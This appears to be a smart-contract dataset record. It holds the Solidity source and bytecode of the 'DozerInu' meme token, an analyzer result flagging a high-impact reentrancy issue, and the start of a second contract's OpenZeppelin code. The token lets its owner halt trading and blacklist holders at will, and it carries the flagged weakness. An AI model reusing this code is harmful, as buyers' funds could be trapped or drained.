/** *Submitted for verification at Etherscan.io on 2022-04-05 */ /* _____ ____________ ____ _____ ______ _____\ \ ___________ \ \ ____\_ \__ / / / /| / / | |\ \ \ \ / / \ | |/ / | / / /___/| \ /\ \ | /\ | / /\ ||\____\\ / / | |__ |___|/ | \_\ | | | | || | | | \|___|/ / / | \ | ___/ | \/ || | | | / /_/____ | __/ __ | \ ____ / /|| | / /| / /\ ||\ \ / \ / /\ \/ \ /___________/ ||\ \_____/ | /_____/ /_____/|| \____\/ | /_____/ |\______| | | / | \_____\ | / | |/| | || | |____/| | | | | | |___________|/ \ | |___|/ |____| |_____|/ \|____| | | |_____|/ \|_____| \|____| |___|/ t.me/DozerInu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dozer is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DozerInu"; string private constant _symbol = "DOZER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x52d860C9774F7b1b3FbD71afAbC93EF2a7FFE487); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000000 * 10**9; //0.5 uint256 public _maxWalletSize = 1000000000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; // Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBot(address isbot) public onlyOwner { bots[isbot] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { uint256 _totalbuy = redisFeeOnBuy + taxFeeOnBuy; uint256 _totalsell = redisFeeOnSell + taxFeeOnSell; require(_totalbuy <= 10); require(_totalsell <= 10); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function liftMaxLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= 500000000000); _maxTxAmount = maxTxAmount * 10**9 ; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= 1000000000000); _maxWalletSize = maxWalletSize * 10**9 ; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101d15760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd801461055a578063dd62ed3e1461056f578063e70ef8a4146105b5578063ea1644d5146105d557600080fd5b8063a9059cbb146104c5578063bd560f0d146104e5578063bdd795ef146104fa578063bfd792841461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461044157806395d89b411461045757806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ed5780638da5cb5b146104035780638f70ccf71461042157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b806318160ddd116101ab57806318160ddd1461028857806323b872dd146102af5780632f9c4569146102cf5780632fd689e3146102f157600080fd5b806306fdde03146101dd578063095ea7b3146102205780631694505e1461025057600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b50604080518082019091526008815267446f7a6572496e7560c01b60208201525b60405161021791906119c8565b60405180910390f35b34801561022c57600080fd5b5061024061023b366004611936565b6105f5565b6040519015158152602001610217565b34801561025c57600080fd5b50601454610270906001600160a01b031681565b6040516001600160a01b039091168152602001610217565b34801561029457600080fd5b5069152d02c7e14af68000005b604051908152602001610217565b3480156102bb57600080fd5b506102406102ca3660046118c0565b61060c565b3480156102db57600080fd5b506102ef6102ea366004611901565b610675565b005b3480156102fd57600080fd5b506102a160185481565b34801561031357600080fd5b5060405160098152602001610217565b34801561032f57600080fd5b50601554610270906001600160a01b031681565b34801561034f57600080fd5b506102ef61035e36600461184d565b610742565b34801561036f57600080fd5b506102ef61037e366004611962565b61078d565b34801561038f57600080fd5b506102ef6107d5565b3480156103a457600080fd5b506102a16103b336600461184d565b610802565b3480156103c457600080fd5b506102ef610824565b3480156103d957600080fd5b506102ef6103e836600461197d565b610898565b3480156103f957600080fd5b506102a160165481565b34801561040f57600080fd5b506000546001600160a01b0316610270565b34801561042d57600080fd5b506102ef61043c366004611962565b6108e8565b34801561044d57600080fd5b506102a160175481565b34801561046357600080fd5b506040805180820190915260058152642227ad22a960d91b602082015261020a565b34801561049157600080fd5b506102ef6104a036600461197d565b610930565b3480156104b157600080fd5b506102ef6104c0366004611996565b61095f565b3480156104d157600080fd5b506102406104e0366004611936565b6109d7565b3480156104f157600080fd5b506102ef6109e4565b34801561050657600080fd5b5061024061051536600461184d565b60116020526000908152604090205460ff1681565b34801561053657600080fd5b5061024061054536600461184d565b60106020526000908152604090205460ff1681565b34801561056657600080fd5b506102ef610a23565b34801561057b57600080fd5b506102a161058a366004611887565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506102ef6105d036600461184d565b610a59565b3480156105e157600080fd5b506102ef6105f036600461197d565b610aa7565b6000610602338484610af7565b5060015b92915050565b6000610619848484610c1b565b61066b843361066685604051806060016040528060288152602001611b75602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f9565b610af7565b5060019392505050565b6000546001600160a01b031633146106a85760405162461bcd60e51b815260040161069f90611a1d565b60405180910390fd5b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107175760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000604482015260640161069f565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461076c5760405162461bcd60e51b815260040161069f90611a1d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b75760405162461bcd60e51b815260040161069f90611a1d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316146107f557600080fd5b476107ff81611133565b50565b6001600160a01b03811660009081526002602052604081205461060690611171565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161069f90611a1d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161069f90611a1d565b64746a5288008110156108d457600080fd5b6108e281633b9aca00611afd565b60165550565b6000546001600160a01b031633146109125760405162461bcd60e51b815260040161069f90611a1d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161069f90611a1d565b601855565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161069f90611a1d565b60006109958386611ac3565b905060006109a38386611ac3565b9050600a8211156109b357600080fd5b600a8111156109c157600080fd5b5050600893909355600a91909155600955600b55565b6000610602338484610c1b565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b815260040161069f90611a1d565b69152d02c7e14af68000006016819055601755565b6013546001600160a01b0316336001600160a01b031614610a4357600080fd5b6000610a4e30610802565b90506107ff816111f5565b6000546001600160a01b03163314610a835760405162461bcd60e51b815260040161069f90611a1d565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161069f90611a1d565b64e8d4a51000811015610ae357600080fd5b610af181633b9aca00611afd565b60175550565b6001600160a01b038316610b595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069f565b6001600160a01b038216610bba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069f565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069f565b60008111610d435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161069f565b6000546001600160a01b03848116911614801590610d6f57506000546001600160a01b03838116911614155b15610fec57601554600160a01b900460ff16610e13576001600160a01b03831660009081526011602052604090205460ff16610e135760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161069f565b601654811115610e655760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161069f565b6001600160a01b03821660009081526010602052604090205460ff1615610eda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161069f565b6015546001600160a01b03838116911614610f5f5760175481610efc84610802565b610f069190611ac3565b10610f5f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161069f565b6000610f6a30610802565b601854601654919250821015908210610f835760165491505b808015610f9a5750601554600160a81b900460ff16155b8015610fb457506015546001600160a01b03868116911614155b8015610fc95750601554600160b01b900460ff165b15610fe957610fd7826111f5565b478015610fe757610fe747611133565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061102e57506001600160a01b03831660009081526005602052604090205460ff165b8061106057506015546001600160a01b0385811691161480159061106057506015546001600160a01b03848116911614155b1561106d575060006110e7565b6015546001600160a01b03858116911614801561109857506014546001600160a01b03848116911614155b156110aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156110d557506014546001600160a01b03858116911614155b156110e757600a54600c55600b54600d555b6110f38484848461137e565b50505050565b6000818484111561111d5760405162461bcd60e51b815260040161069f91906119c8565b50600061112a8486611b1c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561116d573d6000803e3d6000fd5b5050565b60006006548211156111d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161069f565b60006111e26113ac565b90506111ee83826113cf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123d5761123d611b49565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561129157600080fd5b505afa1580156112a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c9919061186a565b816001815181106112dc576112dc611b49565b6001600160a01b0392831660209182029290920101526014546113029130911684610af7565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133b908590600090869030904290600401611a52565b600060405180830381600087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061138b5761138b611411565b61139684848461143f565b806110f3576110f3600e54600c55600f54600d55565b60008060006113b9611536565b90925090506113c882826113cf565b9250505090565b60006111ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061157a565b600c541580156114215750600d54155b1561142857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611451876115a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114839087611605565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b29086611647565b6001600160a01b0389166000908152600260205260409020556114d4816116a6565b6114de84836116f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152391815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af680000061155382826113cf565b8210156115715750506006549269152d02c7e14af680000092509050565b90939092509050565b6000818361159b5760405162461bcd60e51b815260040161069f91906119c8565b50600061112a8486611adb565b60008060008060008060008060006115c58a600c54600d54611714565b92509250925060006115d56113ac565b905060008060006115e88e878787611769565b919e509c509a509598509396509194505050505091939550919395565b60006111ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f9565b6000806116548385611ac3565b9050838110156111ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069f565b60006116b06113ac565b905060006116be83836117b9565b306000908152600260205260409020549091506116db9082611647565b30600090815260026020526040902055505050565b6006546116fd9083611605565b60065560075461170d9082611647565b6007555050565b600080808061172e606461172889896117b9565b906113cf565b9050600061174160646117288a896117b9565b90506000611759826117538b86611605565b90611605565b9992985090965090945050505050565b600080808061177888866117b9565b9050600061178688876117b9565b9050600061179488886117b9565b905060006117a6826117538686611605565b939b939a50919850919650505050505050565b6000826117c857506000610606565b60006117d48385611afd565b9050826117e18583611adb565b146111ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069f565b8035801515811461184857600080fd5b919050565b60006020828403121561185f57600080fd5b81356111ee81611b5f565b60006020828403121561187c57600080fd5b81516111ee81611b5f565b6000806040838503121561189a57600080fd5b82356118a581611b5f565b915060208301356118b581611b5f565b809150509250929050565b6000806000606084860312156118d557600080fd5b83356118e081611b5f565b925060208401356118f081611b5f565b929592945050506040919091013590565b6000806040838503121561191457600080fd5b823561191f81611b5f565b915061192d60208401611838565b90509250929050565b6000806040838503121561194957600080fd5b823561195481611b5f565b946020939093013593505050565b60006020828403121561197457600080fd5b6111ee82611838565b60006020828403121561198f57600080fd5b5035919050565b600080600080608085870312156119ac57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b818110156119f5578581018301518582016040015282016119d9565b81811115611a07576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aa25784516001600160a01b031683529383019391830191600101611a7d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ad657611ad6611b33565b500190565b600082611af857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1757611b17611b33565b500290565b600082821015611b2e57611b2e611b33565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146107ff57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075bda054a1a12a32ba3122f24e930a73a0931aa83a32e7e9e7a8f22eeaca8fef64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
270
0xeb7d7f4cc139d09d4759d21eb92e6976d00af1f7
pragma solidity 0.8.6; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes 